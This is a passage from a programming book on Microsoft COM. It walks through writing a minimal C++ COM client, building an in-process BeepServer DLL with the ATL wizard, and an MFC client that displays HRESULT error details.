as possible and deal with a pure COM client.
20 Chapter 2 •
Understanding the Simplest COM Client
Four Steps to Client Connectivity
A client programmer takes four basic steps when using COM to
communicate with a server. Of course, real-life clients do many
more things, but when you peel back the complexity, you'll
always find these four steps at the core. In this section we will
present COM at its lowest level - using simple C++ calls.
Here is a summary of the steps we are going to perform:
1. Initialize the COM subsystem and close it when finished.
2. Query COM for a specific interfaces on a server.
3. Execute methods on the interface.
4. Release the interface.
For the sake of this example, we will assume an extremely
simple COM server. We'll assume the server has already been
written and save its description for the next chapter.
The server has one interface called IBeep. That interface has
just one method, called Beep. Beep takes one parameter: a dura-
tion. The goal in this section is to write the simplest COM client
possible to attach to the server and call the Beep method.
Following is the C++ code that implements these four steps.
This is a real, working COM client application.
#include "..\BeepServer\BeepServer.h"
// GUIDS defined in the server
const IID IID_IBeepObj =
{0x89547ECD,0x36F1,0x11D2,{0x85,0xDA,0xD7,0x43,0xB2,0x
32,0x69,0x28}};
const CLSID CLSID_BeepObj =
{0x89547ECE,0x36F1,0x11D2,{0x85,0xDA,0xD7,0x43,0xB2,0x
32,0x69,0x28}};
int main(int argc, char* argv[])
{
HRESULT hr; // COM error code
IBeepObj *IBeep; // pointer to interface
hr = CoInitialize(0); // initialize COM
Four Steps to Client Connectivity
21
Additonal Information and Updates: http://www.iftech.com/dcom
if (SUCCEEDED(hr)) // macro to check for success
{
hr = CoCreateInstance(
CLSID_BeepObj, // COM class id
NULL, // outer unknown
CLSCTX_INPROC_SERVER, // server INFO
IID_IBeepObj, // interface id
(void**)&IBeep ); // pointer to interface
if (SUCCEEDED(hr))
{
hr = IBeep->Beep(800); // call the method
hr = IBeep->Release(); // release interface
}
}
CoUninitialize(); // close COM
return 0;
}
The header "BeepServer.h" is created when we compile the
server. BeepServer is the in-process COM server we are going to
write in the next chapter. Several header files are generated auto-
matically by the compiler when compiling the server. This partic-
ular header file defines the interface IBeepObj. Compilation of
the server code also generates the GUIDs seen at the top of this
program. We've just pasted them in here from the server project.
Let's look at each of the 4 steps in detail.
Initializing the COM Subsystem:
This is the easy step. The COM method we need is CoInitialize().
CoInitialize(0);
This function takes one parameter and that parameter is
always a zero - a legacy from its origins in OLE. The CoInitialize
function initializes the COM library. You need to call this func-
tion before you do anything else. When we get into more
sophisticated applications, we will be using the extended ver-
sion, CoInitializeEx.
22 Chapter 2 •
Understanding the Simplest COM Client
Call CoUninitialize() when you're completely finished with
COM. This function de-allocates the COM library. I often include
these calls in the InitInstance() and ExitInstance() functions of
my MFC applications.
Most COM functions return an error code called an
HRESULT. This error value contains several fields which define
the severity, facility, and type of error. We use the SUCCEEDED
macro because there are several different success codes that
COM can return. It's not safe to just check for the normal success
code (S_OK). We will discuss HRESULT's later in some detail.
Query COM for a Specific Interface
What a COM client is looking for are useful functions that it can
call to accomplish its goals. In COM you access a set of useful
functions through an interface. An interface, in its simplest form,
is nothing but a collection of one or more related functions.
When we “get” an interface from a COM server, we're really get-
ting a pointer to a set of functions.
You can obtain an interface pointer by using the CoCre-
ateInstance() function. This is an extremely powerful function
that interacts with the COM subsystem to do the following:
• Locate the server.
• Start, load, or connect to the server.
• Create a COM object on the server.
• Return a pointer to an interface to the COM object.
There are two data types important to finding and accessing
interfaces: CLSID and IID. Both of these types are Globally
Unique ID's (GUID's). GUID's are used to uniquely identify all
COM classes and interfaces.
In order to get a specific class and interface you need its
GUID. There are many ways to get a GUID. Commonly we'll get
the CLSID and IID from the header files in the server. In our
example, we've defined the GUIDs with #define statements at
the beginning of the source code simply to make them explicit
and obvious. There are also facilities to look up GUIDs using the
common name of the interface.
Four Steps to Client Connectivity
23
Additonal Information and Updates: http://www.iftech.com/dcom
The function that gives us an interface pointer is CoCre-
ateInstance.
hr = CoCreateInstance(
CLSID_BeepObj, // COM class id
NULL, // outer unknown
CLSCTX_INPROC_SERVER, // server INFO
IID_IBeepObj, // interface id
(void**)&IBeep ); // pointer to interface
The first parameter is a GUID that uniquely specifies a COM
class that the client wants to use. This GUID is the COM class
identifier, or CLSID. Every COM class on the planet has its own
unique CLSID. COM will use this ID to automatically locate a
server that can create the requested COM object. Once the server
is connected, it will create the object.
The second parameter is a pointer to what's called the
“outer unknown”. We're not using this parameter, so we pass in
a NULL. The outer unknown will be important when we explore
the concept known as "aggregation". Aggregation allows one
interface to directly call another COM interface without the client
knowing it's happening. Aggregation and containment are two
methods used by interfaces to call other interfaces.
The third parameter defines the COM Class Context, or
CLSCTX. This parameter controls the scope of the server.
Depending on the value here, we control whether the server will
be an In-Process Server, an EXE, or on a remote computer. The
CLSCTX is a bit-mask, so you can combine several values. We're
using CLSCTX_INPROC_SERVER - the server will run on our
local computer and connect to the client as a DLL. We've chosen
an In-Process server in this example because it is the easiest to
implement.
Normally the client wouldn’t care about how the server was
implemented.
In
this
case
it
would
use
the
value
CLSCTX_SERVER, which will use either a local or in-process
server, whichever is available.
Next is the interface identifier, or IID. This is another GUID
- this time identifying the interface we're requesting. The IID we
24 Chapter 2 •
Understanding the Simplest COM Client
request must be one supported by the COM class specified with
the CLSID. Again, the value of the IID is usually provided either
by a header file, or by looking it up using the interface name. In
our code it is defined explicitly to make it obvious.
The last parameter is a pointer to an interface. CoCreateIn-
stance() will create the requested class object and interface, and
return a pointer to the interface. This parameter is the whole rea-
son for the CoCreateInstance call. We can then use the interface
pointer to call methods on the server.
Execute a Method on the Interface.
CoCreateInstance() uses COM to create a pointer to the IBeep
interface. We can pretend the interface is a pointer to a normal
C++ class, but in reality it isn’t. Actually, the interface pointer
points to a structure called a VTABLE, which is a table of func-
tion addresses. We can use the -> operator to access the interface
pointer.
Because our example uses an In-Process server, it will load
into our process as a DLL. Regardless of the details of the inter-
face object, the whole purpose of getting this interface was to
call a method on the server.
hr = IBeep->Beep(800);
Beep() executes on the server - it will cause the computer to
beep. If we had a remote server, one which is running on
another computer, that computer would beep.
Methods of an interface usually have parameters. These
parameters must be of one of the types allowed by COM. There
are many rules that control the parameters allowed for an inter-
face. We will discuss these in detail in the section on MIDL,
which is COM’s interface definition tool.
Release the Interface
It’s an axiom of C++ programming that everything that gets allo-
cated should be de-allocated. Because we didn't create the inter-
face with new, we can’t remove it with delete. All COM
Summary
25
Additonal Information and Updates: http://www.iftech.com/dcom
interfaces have a method called Release() which disconnects the
object and deletes it. Releasing an interface is important because
it allows the server to clean up. If you create an interface with
CoCreateInstance, you'll need to call Release().
Summary
In this chapter we've looked at the simplest COM client. COM is
a client driven system. Everything is oriented to making compo-
nent objects easily available to the client. You should be
impressed at the simplicity of the client program. The four steps
defined here allow you to use a huge number of components, in
a wide range of applications.
Some of the steps, such as CoInitialize() and CoUninitial-
ize() are elementary. Some of the other steps don't make a lot of
sense at first glance. It is only important for you to understand, at
a high level, all of the things that are going on in this code. The
details will clarify themselves as we go through further exam-
ples.
Visual C++ Version 5 and 6 simplify the client program fur-
ther by using “smart pointers” and the #import directive. We’ve
presented this example in a low level C++ format to better illus-
trate the concepts. We'll discuss smart pointers and imports in
chapter 15.
In the next chapter, we'll build a simple in-process server to
manage the IBeep interface. We’ll get into the interesting details
of interfaces and activation in later chapters. See also Chapter 4
for an expansion on this example.
26 Chapter 2 •
Understanding the Simplest COM Client
T
H
R
E
E
3
Understanding a
Simple COM
Server
So far we've looked at how to use COM through a client applica-
tion. To the client, the mechanics of COM programming are
pretty simple. The client application asks the COM subsystem for
a particular component, and it is magically delivered.
There’s a lot of code required to make all this behind-the-
scenes component management work. The actual implementa-
tion of the object requires a complex choreography of system
components and standardized application modules. Even using
MFC the task is complex. Most professional developers don't
have the time to slog through this process. As soon as the COM
standard was published, it was quickly clear that it wasn't practi-
cal for developers to write this code themselves.
When you look at the actual code required to implement
COM, you realize that most of it is repetitive boilerplate. The tra-
ditional C++ approach to this type of complexity problem would
be to create a COM class library. And in fact, the MFC OLE
classes provide most of COMs features.
There are however, several reasons why MFC and OLE were
not a good choice for COM components. With the introduction
of ActiveX and Microsoft's Internet strategy, it was important for
COM objects to be very compact and fast. ActiveX requires that
COM objects be copied across the network fairly quickly. If
28 Chapter 3 •
Understanding a Simple COM Server
you’ve worked much with MFC you'll know it is anything but
compact (especially when statically linked). It just isn’t practical
to transmit huge MFC objects across a network.
Perhaps the biggest problem with the MFC/OLE approach to
COM components is the complexity. OLE programming is diffi-
cult, and most programmers never get very far with it. The huge
number of books about OLE is a testament to the fact that it is
hard to use.
Because of the pain associated with OLE development,
Microsoft created a new tool called ATL (Active Template
Library). For COM programming, ATL is definitely the most prac-
tical tool to use at the present time. In fact, using the ATL wizard
makes writing COM servers quite easy if you don't have any
interest in looking under the hood.
The examples here are built around ATL and the ATL Appli-
cation Wizard. This chapter describes how to build an ATL-based
server and gives a summary of the code that the wizard gener-
ates.
Where's the Code?
One of the things that takes some getting used to when writing
ATL servers is that they don't look like traditional programs. A
COM server written by ATL is really a collaboration between sev-
eral disparate components:
• Your application
• The COM subsystem
• ATL template classes
• “IDL” code and MIDL Generated “C” headers and pro-
grams
• The system registry
It can be difficult to look at an ATL-based COM application
and see it as a unified whole. Even when you know what it’s
doing, there are still big chunks of the application that you can’t
see. Most of the real server logic is hidden deep within the ATL
header files. You won’t find a single main() function that man-
Building a DLL-Based (In-Process) COM Server
29
Additonal Information and Updates: http://www.iftech.com/dcom
ages and controls the server. What you will find is a thin shell
that makes calls to standard ATL objects.
In the following section we’re going to put together all the
pieces required to get the server running. First we will create the
server using the ATL COM AppWizard. The second step will be
to add a COM object and a Method. We’ll write an In-Process
server because it’s one of the simpler COM servers to implement.
Our apartment-threaded in-process server also avoids having to
build a proxy and stub object.
Building a DLL-Based (In-Process) COM Server
An In-Process server is a COM library that gets loaded into your
program at run-time. In other words, it’s a COM object in a
Dynamic Link Library (DLL). A DLL isn't really a server in the tra-
ditional sense, because it loads directly into the client's address
space. If you're familiar with DLLs, you already know a lot about
how the COM object gets loaded and mapped into the calling
program.
Normally a DLL is loaded when LoadLibrary() is called. In
COM, you never explicitly call LoadLibrary(). Everything starts
automatically when the client program calls CoCreateInstance().
One of the parameters to CoCreateInstance is the GUID of the
COM class you want. When the server gets created at compile
time, it registers all the COM objects it supports. When the client
needs the object, COM locates the server DLL and automatically
loads it. Once loaded, the DLL has a class factory to create the
COM object.
CoCreateInstance() returns a pointer to the COM object,
which is in turn used to call a method (in the example described
here, the method is called Beep().) A nice feature of COM is that
the DLL can be automatically unloaded when it's not needed.
After the object is released and CoUninitialize() is called, FreeLi-
brary() will be called to unload the server DLL.
If you didn't follow all that, it's easier than it sounds. You
don't have to know anything about DLL's to use COM. All you
have to do is call CoCreateInstance(). One of the advatages of
30 Chapter 3 •
Understanding a Simple COM Server
COM is that it hides these details so you don't have to worry
about this type of issue.
There are advantages and disadvantages to In-process COM
servers. If dynamic linking is an important part of your system
design, you'll find that COM offers an excellent way to manage
DLL's. Some experienced programmers write all their DLL's as In-
process COM servers. COM handles all the chores involved with
the loading, unloading, and exporting DLL functions and COM
function calls have very little additional overhead.
Our main reason for selecting an In-process server is some-
what more prosaic: It makes the example simpler. We won't have
to worry about starting remote servers (EXE or service) because
our server is automatically loaded when needed. We also avoid
building a proxy/stub DLL to do the marshaling.
Unfortunately, because the In-Process server is so tightly
bound to our client, a number of the important "distributed"
aspects of COM are not going to be exposed. A DLL server
shares memory with it's client, whereas a distributed server
would be much more removed from the client. The process of
passing data between a distributed client and server is called
marshaling. Marshaling imposes important limitations on COM's
capabilities that we won't have to worry about with an apart-
ment-threaded in-proc server. We will expose and study these
details in later chapters.
Creating the Server Using the ATL Wizard
We're going to create a very simple COM server in this example
in order to eliminate clutter and help you to understand the fun-
damental principles behind COM very quickly. The server will
only have one method - Beep(). All that this method will do is
sound a single beep; not a very useful method. What we're really
going to accomplish is to set up all the parts of a working server.
Once the infrastructure is in place, adding methods to do some-
thing useful will be extremely straightforward.
The ATL AppWizard is an easy way to quickly generate a
working COM server. The Wizard will allow us to select all the
Creating the Server Using the ATL Wizard
31
Additonal Information and Updates: http://www.iftech.com/dcom
basic options, and will generate most of the code we need.
Below is the step-by step process for creating the server. In this
process we will call the server BeepServer. All COM servers must
have at least one interface, and our interface will be called IBee-
pObj. You can name your COM interfaces almost anything you
want, but you should always prefix them with an 'I' if you want
to follow standard naming conventions.
NOTE: If you find the difference between a COM "Object" ,
"Class", and "Interface" confusing at this point, you're not alone.
The terminology can be uncomfortable initially, especially for
C++ programmers. The feelings of confusion will subside as you
work through examples. The word "coclass" for COM class is
used in most Microsoft documentation to distinguish a COM
class from a normal C++ class.
Here are the steps for creating a new COM server with the
ATL Wizard using Visual C++ version 6 (it looks nearly identical
in version 5 as well):
1. First, create a new "ATL COM AppWizard" project. Select
File/New from the main menu.
2. Select the "Projects" tab of the "New" dialog. Choose "ATL
COM AppWizard" from the list of project types. Select the
following options and press OK.
a. Project Name: BeepServer
b. Create New Workspace
c. Location: Your working directory.
3. At the first AppWizard dialog we'll create a DLL based (In-
process) server. Enter the following settings :
a. Dynamic Link Library
b. Don't allow merging proxy/stub code
c. Don't support MFC
4. Press Finish.
32 Chapter 3 •
Understanding a Simple COM Server
Figure 3–1
Accessing the ATL Wizard
Figure 3–2
Creating a DLL server
Adding a COM Object
33
Additonal Information and Updates: http://www.iftech.com/dcom
The AppWizard creates a project with all the necessary files
for a DLL-based COM server. Although this server will compile
and run, it's just an empty shell. For it to be useful it will need a
COM interface and the class to support the interface. We'll also
have to write the methods in the interface.
Adding a COM Object
Now we'll proceed with the definition of the COM object, the
interface, and the methods. This class is named BeepObj and has
an interface called IBeepObj:
1. Look at the "Class View" tab. Initially it only has a single
item in the list. Right click on "BeepServer Classes" item.
2. Select "New ATL ObjectÖ". This step can also be done from
the main menu. Select the "New ATL Object" on the Insert
menu item.
3. At the Object Wizard dialog select "Objects". Choose "Simple
Object" and press Next.
4. Choose the Names tab. Enter short name for the object: Bee-
pObj. All the other selections are filled in automatically with
standard names.
5. Press the "Attributes" tab and select: Apartment Threading,
Custom Interface, No Aggregation.
6. Press OK. This will create the COM Object.
34 Chapter 3 •
Understanding a Simple COM Server
Figure 3–3
Adding a new object to the server
Figure 3–4
Adding a new object
Adding a COM Object
35
Additonal Information and Updates: http://www.iftech.com/dcom
Figure 3–5
Specifying the object naming
Figure 3–6
Specifying the threading model and other parameters
36 Chapter 3 •
Understanding a Simple COM Server
Adding a Method to the Server
We have now created an empty COM object. As of yet, it's still a
useless object because it doesn't do anything. We will create a
simple method called Beep() which causes the system to beep
once. Our COM method will call the Win32 API function
::Beep(), which does pretty much what you would expect.
1. Go to "Class View" tab. Select the IBeepObj interface. This
interface is represented by a small icon that resembles a
spoon.
2. Right click the IBeepObj interface. Select "Add Method"
from the menu.
3. At the "Add Method to Interface" dialog, enter the following
and press OK. Add the method "Beep" and give it a single
[in] parameter for the duration. This will be the length of the
beep, in milliseconds.
Figure 3–7
Adding a methos
Adding a Method to the Server
37
Additonal Information and Updates: http://www.iftech.com/dcom
4. "Add Method" has created the MIDL definition of the
method we defined. This definition is written in IDL, and
describes the method to the MIDL compiler. If you want to
see the IDL code, double click the "IBeepObj" interface at
the "Class View" tab. This will open and display the file
BeepServer.IDL. No changes are necessary to this file, but
here's what our interface definition should look like.
interface IBeepObj : IUnknown
{
[helpstring("method Beep")]
HRESULT Beep([in] LONG duration);
};
The syntax of IDL is quite similar to C++. This line is the
equivalent to a C++ function prototype. We will cover the syntax
of IDL in Chapter 7.
5. Now we're going to write the C++ code for the method. The
AppWizard has already written the empty shell of our C++
Figure 3–8
Specifying the method’s name and parameters
38 Chapter 3 •
Understanding a Simple COM Server
function, and has added it to the class definition in the
header file (BeepServer.H).
Open the source file BeepObj.CPP. Find the //TODO: line
and add the call to the API Beep function. Modify the
Beep() method as follows:
STDMETHODIMP CBeepObj::Beep(LONG duration)
{
// TODO: Add your implementation code here
::Beep( 550, duration );
return S_OK;
}
6. Save the files and build the project.
We now have a complete COM server. When the project fin-
ishes building, you should see the following messages:
----Configuration: BeepServer - Win32 Debug----
Creating Type Library...
Microsoft (R) MIDL Compiler Version 5.01.0158
Copyright (c) Microsoft Corp 1991-1997. All rights
reserved.
Processing D:\UnderCOM\BeepServer\BeepServer.idl
BeepServer.idl
Processing C:\Program Files\Microsoft Visual Stu-
dio\VC98\INCLUDE\oaidl.idloaidl.idl
.
.
Compiling resources...
Compiling...
StdAfx.cppCompiling...
BeepServer.cpp
BeepObj.cpp
Generating Code...
Linking...
Creating library Debug/BeepServer.lib and object
Debug/BeepServer.exp
Performing registration
Adding a Method to the Server
39
Additonal Information and Updates: http://www.iftech.com/dcom
BeepServer.dll - 0 error(s), 0 warning(s)
This means that the Developer Studio has completed the fol-
lowing steps:
• Executed the MIDL compiler to generate code and type
libraries
• Compiled the source files
• Linked the project to create BeepServer.DLL
• Registered COM components
• Registered the DLL with RegSvr32 so it will automatically
load when needed.
Let's look at the project that we've created. While we've
been clicking buttons, the ATL AppWizard has been generating
files. If you look at the "FileView" tab, the following files have
been created:
Source File
Description
BeepServer.dsw
Project workspace
BeepServer.dsp
Project File
BeepServer.plg
Project log file. Contains detailed error information
about project build.
BeepServer.cpp
DLL Main routines. Implementation of DLL Exports
BeepServer.h
MIDL generated file containing the definitions for the
interfaces
BeepServer.def
Declares the standard DLL module parameters: DllCa-
nUnloadNow, DllGetClassObject, DllUnregisterServer
BeepServer.idl
IDL source for BeepServer.dll. The IDL files define all
the COM components.
BeepServer.rc
Resource file. The main resource here is
IDR_BEEPDLLOBJ which defines the registry scripts
used to load COM information into the registry.
Resource.h
Microsoft Developer Studio generated include file.
StdAfx.cpp
Source for precompiled header.
Stdafx.h
Standard header
40 Chapter 3 •
Understanding a Simple COM Server
In just a few minutes, we have created a complete COM
server application. Back in the days before wizards, writing a
server would have taken hours. Of course the down-side of wiz-
ards is that we now have a large block of code that we don't
fully understand. In Chapter 5 we will look at the generated
modules in detail, and then as a whole working application.
Running the Client and the Server
Now that we have compiled the server and we have a working
client (from the previous chapter), we can run the two of them
together. In theory, all that you have to do is run the client.
Because the server DLL was automatically registered in the regis-
try as part of the build process, the client will automatically find
and load the server and then call its Beep method. You will hear
the appropriate “beep” sound. If there is a problem you will get
no textual complaint from the client (as it contains no error
checking code - see the next chapter to correct that problem...)
but it will not beep.
BeepServer.tlb
Type Library generated by MIDL. This file is a binary
description of COM interfaces and objects. The TypeLib
is very useful as an alternative method of connecting a
client.
BeepObj.cpp
Implementation of CBeepObj. This file contains all the
actual C++ code for the methods in the COM BeepObj
object.
BeepObj.h
Definition of BeepObj COM object.
BeepObj.rgs
Registry script used to register COM components in
registry. Registration is automatic when the server
project is built.
BeepServer_i.c
Contains the actual definitions of the IID's and CLSID's.
This file is often included in cpp code.
There are several other proxy/stub files that are gener-
ated by MIDL.
Table 3.1
All the files created by the ATL wizard
Summary
41
Additonal Information and Updates: http://www.iftech.com/dcom
If you had trouble building the client or the server (that is, if
any errors or warnings were generated during the build or link
process), one thing to check is to make sure that both the client
and server are being built as normal Win32 Debug configura-
tions. Sometimes the system will default to odd Unicode release
builds. In the Build menu you can check and change the active
configuration to “Win32 Debug”.
If both client and server build fine but the client does not
beep, that means that either the client could not find or could
not start the server. Assuming that you built the server as
described above and there were no errors, we know it exists.
The problem almost certainly is occuring because the GUIDs do
not match between the client and the server. Recall that we used
statically declared GUIDS in the client in Chapter 2 to make the
GUIDs more obvious. That works fine if you are pulling the code
off the CD, but will be a problem if you generated the server
with the ATL wizard yourself. To solve this problem, look for the
“_i.c” file that MIDL generated in the server directory. In that file
is an IID GUID and a CLSID GUID. Copy them into the appropri-
ate spot in the client application, rebuild and try again. You
should hear the appropriate beep when the client executes. Now
that you can see where the GUIDs are coming from, you may
want to modify the client so it #includes the “_i.c” file and use
the GUIDs directly from there.
Summary
The server code was almost entirely generated by the ATL wiz-
ards. It provides a working implementation of the server. We
examined a DLL based server, but the process is almost identical
for all server types. This framework is an excellent way to
quickly develop a server application because you don't have to
know the myriad of details required to make it work.
42 Chapter 3 •
Understanding a Simple COM Server
F
O
U
R
4
Creating your own
COM Clients and
Servers
Based on the previous three chapters, you can see that it is
extremely easy to create COM clients and servers. In fact, you
were probably stunned by how little code was actually required.
Just a handful of lines on both the client and server sides yields a
complete COM application. You can now see why many devel-
opers use COM whenever they want to create a DLL - it only
takes about 2 minutes to set up an in-proc COM DLL with the
ATL wizard and get it working.
The purpose of this chapter is to review the steps you need
to take to create your own COM servers and use them in real
applications you create. As you will recall, the client code previ-
ously presented was a bit sparse. We will expand on it a bit, look
at the code you need to embed in any client to activate the
server properly, and then look at an MFC application that lets
you try out some of the error modes that a COM client may typi-
cally encounter.
Server Side
As we saw in Chapter 3, the ATL Wizard makes COM server cre-
ation extremely easy. The first step to creating any COM server,
44 Chapter 4 •
Creating your own COM Clients and Servers
however, relies solely on you. You need to select one or more
pieces of functionality that you want to separate from the main
body of an application's code. You often want to separate the
functionality in order to make it reusable across multiple applica-
tions. But you may also want to do it because it allows a team of
programmers to divide easily into separate working groups, or
because it makes code development or maintenance easier.
Whatever the reason, defining the functionality for the COM
server is the first step.
One thing that makes defining the boundary easy is the fact
that, in the simplest case, a COM server can act almost identically
to a normal C++ class. Like a class, you instantiate a COM class
and then start calling its methods. The syntax of COM instantia-
tion and method calling is slightly different from the syntax in
C++, but the ideas are identical. If a COM server has only one
interface, then it is, for all practical purposes, a class. You still
have to obey the rules of COM when accessing the object, but
the concepts are the same.
Once you have decided on the functionality and the meth-
ods that will be used to access that functionality, you are ready
to build your server. As we in Chapter 3, there are 4 basic steps
you must take to create a server:
1. Use the ATL Wizard to create the shell for your COM server.
You choose whether you want the server to be a DLL, an
EXE or a server.
2. Create a new COM object inside the server shell with the
ATL object wizard. You will choose the threading model.
This creates the interface into which you can install your
methods.
3. Add the methods to your object and declare their parame-
ters.
4. Write the code for your methods.
Each of these tasks has been described in detail in the previous
chapter. Once you have completed these steps you are ready to
compile your COM object and use it.
After reading the previous chapter, one question frequently
asked concerns threading models. Specifically, what is the differ-
Client Side
45
Additonal Information and Updates: http://www.iftech.com/dcom
ence between apartment-threaded and free-threaded COM
objects? Chapter 10 contains a complete description, but the eas-
iest way to understand the difference is to think of apartment-
threaded COM objects as single-threaded, while free-threaded
COM objects as multi-threaded.
In apartment threading, method calls from multiple clients
are serialized in the COM object on the server. That is, each indi-
vidual method call completes its execution before the next
method call can begin. Apartment-threaded COM objects are
therefore inherently thread safe. Free threaded COM objects can
have multiple method calls executing in the COM object at the
same time. Each method call from each client runs on a different
thread. In a free-threaded COM object you therefore have to pay
attention to multi-threading issues such as synchronization.
Initially you will want to use apartment threading because it
makes your life easier, but over time the move to free threading
can sometimes make things more flexible, responsive and effi-
cient.
Client Side
The client presented in chapter 2 has the benefits of clarity and
compactness. However, it contains no error-checking code and
that makes it insufficient in a real application. Let's review that
code, however, because it is so simple and it shows the exact
steps that you must take to create a successful client:
void main()
{
HRESULT hr; // COM error code
IBeepDllObj *IBeep; // pointer to interface
hr = CoInitialize(0); // initialize COM
if (SUCCEEDED(hr)) // check for success
{
hr = CoCreateInstance(
clsid, // COM class id
NULL, // outer unknown
46 Chapter 4 •
Creating your own COM Clients and Servers
CLSCTX_INPROC_SERVER, // server INFO
iid, // interface id
(void**)&IBeep ); // interface
if (SUCCEEDED(hr))
{
// call the method
hr = IBeep->Beep(800);
// release the interface when done
// calling its methods
hr = IBeep->Release();
}
CoUninitialize(); // close COM
}
The call to CoInitialize and CoCreateInstance initializes
COM and gets a pointer to the necessary interface. Then you can
call methods on the interface. When you are done calling meth-
ods you release the interface and call CoUninitialize to finish
with COM. That's all there is to it.
That would be all there is to it, that is, if things always
worked as planned. There are a number of things that can go
wrong when a COM client tries to start a COM server. Some of
the more common include:
• The client could not start COM
• The client could not locate the requested server
• The client could locate the requested server but it did not
start properly
• The client could not find the requested interface
• The client could not find the requested function
• The client could find the requested function but it failed
when called
• The client could not clean up properly
In order to track these potential problems, you have to
check things every step of the way by looking at hr values. The
above code does the checking, but it is difficult to tell what has
gone wrong because the code is completely silent if an error
occurs. The following function remedies that situation:
Client Side
47
Additonal Information and Updates: http://www.iftech.com/dcom
// This function displays detailed information con-
tained in an HRESULT.
BOOL ShowStatus(HRESULT hr)
{
// construct a _com_error using the HRESULT
_com_error e(hr);
// Show the hr as a decimal number
cout << "hr as decimal: " << hr << endl;
// Show the 1st 16 bits (SCODE)
cout << "SCODE: " << HRESULT_CODE( hr ) << endl;
// Show facility code as a decimal number
cout << "Facility: " << HRESULT_FACILITY( hr ) <<
endl;
// Show the severity bit
cout << "Severity: " << HRESULT_SEVERITY( hr ) <<
endl;
// Use the _com_error object to
// format a message string. This is
// much easier than using ::FormatMessage
cout << "Message string: " << e.ErrorMessage() <<
endl;
return TRUE;
}
This function dismantles an HRESULT and prints all of its
components, including the extremely useful ErrorMessage value.
You can call the function at any time with this function call:
// display HRESULT on screen
ShowStatus( hr );
See Chapter 16 for details on HRESULTS. See the error
appendix for details on overcoming COM and DCOM errors.
To fully explore the different error modes of a simple COM
program, the CD contains an MFC client and a sample server.
The client is a simple MFC dialog application designed to let you
simulate several possible errors and see the effect they have on
the HRESULT. When the client runs it will look like this:
48 Chapter 4 •
Creating your own COM Clients and Servers
You can see that the radio buttons on the left hand side let
you experiment with a lack of a CoInitialize function, a bad class
ID and a bad interface ID. If you click the Run button, the area
on the right will show the effect of the different errors on the
HRESULT returned by different functions in the client.
[Note - Some readers initially have trouble compiling or
linking this code. For some reason VC++ v6 will sometimes
default to a very odd Unicode Release build instead of the
expected Win32 Debug build. Use the Active Configuration...
option in the Build menu to check the configuration and to set it
to Win32 Debug if it is incorrect.]
When you explore the client code in this example, you will
find that it is a somewhat more robust version of the standard cli-
ent code we used above. For example, it sets default security
using the CoInitializeSecurity function to introduce you to that
function (see Chapter 14 for details), and it also makes use of the
Figure 4–1
Dialog from the test client, a simple MFC application that
allows you to simulate different COM errors and see the
effects.
Client Side
49
Additonal Information and Updates: http://www.iftech.com/dcom
CoCreateInstanceEx function so that remote servers on other
machines can be called (see chapter 14 for details).
Let's look at the basic plan of the client. It starts with code
generated by the MFC App Wizard, with the request that the App
Wizard generate a simple dialog application. The resource file of
this application was modified to match the dialog seen above.
The bulk of the application is a single function, OnButtonRun,
that is activated when the user clicks the Run button:
// This method displays detailed information contained
in an HRESULT.
BOOL CBeepDeluxeDlg::ShowStatus(HRESULT hr)
{
// construct a _com_error using the HRESULT
_com_error e(hr);
// The hr as a decimal number
m_nHR = hr;
// The hr as a hex number
m_strHRX.Format( "%x", hr );
m_strHRX = "0x" + m_strHRX;
// show the 1st 16 bits (SCODE)
m_nCode = HRESULT_CODE( hr );
// Show facility code as a decimal number
m_nFac = HRESULT_FACILITY( hr );
// Show the severity bit
m_nSev = HRESULT_SEVERITY( hr );
// Use the _com_error object to
// format a message string. This is
// Much easier then using ::FormatMessage
m_strStatus= e.ErrorMessage();
// show bits
m_strBinary = HrToBits( hr );
return TRUE;
}
// This method converts an HRESULT into
// a string of 1's and 0's
CString CBeepDeluxeDlg::HrToBits( HRESULT hr)
{
50 Chapter 4 •
Creating your own COM Clients and Servers
char temp[32 + 8 + 1 ]; // 32 bits + 8 spaces + NULL
unsigned long mask = 0x80000000; // bit mask (msb)
int count = 0;
// ensure that there is a null terminator at the end
memset( temp, 0, sizeof(temp));
// loop all 32 bits
for( int i=31; i>=0; i-- )
{
// set the character value to 0 or 1 if bit is set
temp[count++] = (hr & mask) ? '1' : '0';
// put 1 space every 4 characters
if ((i%4) == 0) // mod operator
{
temp[count++] = ' ';
}
// shift bitmask 1 right
mask = mask >> 1;
}
return temp;
}
// Execute an extensive test of the COM client
void CBeepDeluxeDlg::OnButtonRun()
{
CWaitCursor cur; // show hourglass
UpdateData( TRUE ); // update variables
// status value
HRESULT hr = S_OK;
// define a test clsid
CLSID clsid = BAD_GUID;
// remote server info
COSERVERINFO cs;
// Init structures to zero
memset(&cs, 0, sizeof(cs));
Client Side
51
Additonal Information and Updates: http://www.iftech.com/dcom
// Allocate the server name in
// the COSERVERINFO structure
cs.pwszName = m_strServer.AllocSysString();
// structure for CoCreateInstanceEx
MULTI_QI qi[1];
memset(qi, 0, sizeof(qi));
// Initialize COM
if (m_nRadio != 1)
{
hr = CoInitialize(0);
}
// set CLSID
if (m_nRadio != 2)
{
clsid = CLSID_DispatchTypes;
}
// set IID
if (m_nRadio != 3)
{
// Fill the qi with a valid interface
qi[0].pIID = &IID_IDispatchTypes;
}
else
{
// send it a bad Interface
qi[0].pIID = &BAD_GUID;
}
// set a low level of security
hr = CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_NONE,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
EOAC_NONE,
NULL);
if (SUCCEEDED(hr))
52 Chapter 4 •
Creating your own COM Clients and Servers
{
// get the interface pointer
hr = CoCreateInstanceEx( clsid, NULL,
CLSCTX_SERVER,
&cs, 1, qi );
// call method if the interface was created
if (SUCCEEDED(hr))
{
// extract the interface from the QI structure
IDispatchTypes *pI =
(IDispatchTypes*)qi[0].pItf;
// call method
hr = pI->Beep(100);
// The HRESULT will be displayed later if there
was an error
// release the pointer even if there was an
error on the method
pI->Release();
}
}
// display HRESULT on screen
ShowStatus( hr );
// close COM
CoUninitialize();
// Update screen
UpdateData( FALSE );
}
The main feature of this program is the top part of the
OnButtonRun function, which selectively breaks different parts
of the application in response to the radio button settings. Then
the HRESULT value is dismantled and displayed.
Client Side
53
Additonal Information and Updates: http://www.iftech.com/dcom
When creating your own MFC clients, you will want to fol-
low this same general plan. You may want to place the CoInitial-
ize and CoUninitialize functions elsewhere in the application so
they are not called constantly (for example, in InitInstance and
ExitInstance). You may wish to do the same with the call to
CoInitializeSecurity, CoCreateInstanceEx and Release depending
